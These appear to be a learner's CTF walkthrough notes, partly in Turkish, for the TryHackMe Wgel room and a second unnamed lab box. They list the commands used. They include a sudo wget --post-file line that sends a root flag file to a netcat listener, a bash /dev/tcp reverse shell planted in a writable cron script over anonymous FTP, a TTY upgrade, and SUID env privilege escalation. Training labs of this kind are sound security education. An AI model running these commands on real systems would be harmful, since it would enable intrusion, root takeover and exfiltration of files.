https://tryhackme.com/room/wgelctf
chmod 600 id_rsa
ssh jessie@IP -i id_rsa
find -name “*user*” 2> /dev/null
find -name “*flag*” 2> /dev/null
sudo -l
User jessie may run the following commands on CorpOne:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/wget
https://gtfobins.github.io/gtfobins/wget/#sudo
Upload edicez root.txt’yi, ondan dinlemeye geçelim ilk olarak:
nc -lvnp 4444
Zafiyetli makinede şunu çalıştırıp alalım:
sudo /usr/bin/wget — post-file=/root/root_flag.txt http://IP:4444

ftp <IP>
isim: anonymous
şifre: anonymous
binary <çünkü ascii transfer sıkıntılı>
ls
cd scripts
ls

mget *
cat clean.sh → sürekli bir şeyler siliyor cronjob gibi, yazma yetkimiz de var. Buraya shell koyup FTP’ye geri atıcaz. İçine bunu koy sadece:
#!/bin/bash
bash -i >& /dev/tcp/KALI_IP/4444 0>&1
Dinlemeye geçelim: nc -lvnp 4444
Dosyayı koyalım:
ftp IP
cd scripts
put clean.sh
Shell geldi: cat user.txt
sudo -l
no tty diyor, tty shell alalım:
python -c ‘import pty; pty.spawn(“/bin/bash”)’
Şifre bilmediğimiz için yine sudo çalıştıramıyoruz.
SUID bakalım:
find / -type f -perm -04000 -ls 2>/dev/null
/usr/bin/env için şunu yazalım ve root olalım;
/usr/bin/env /bin/bash -p
cat /root/root.txt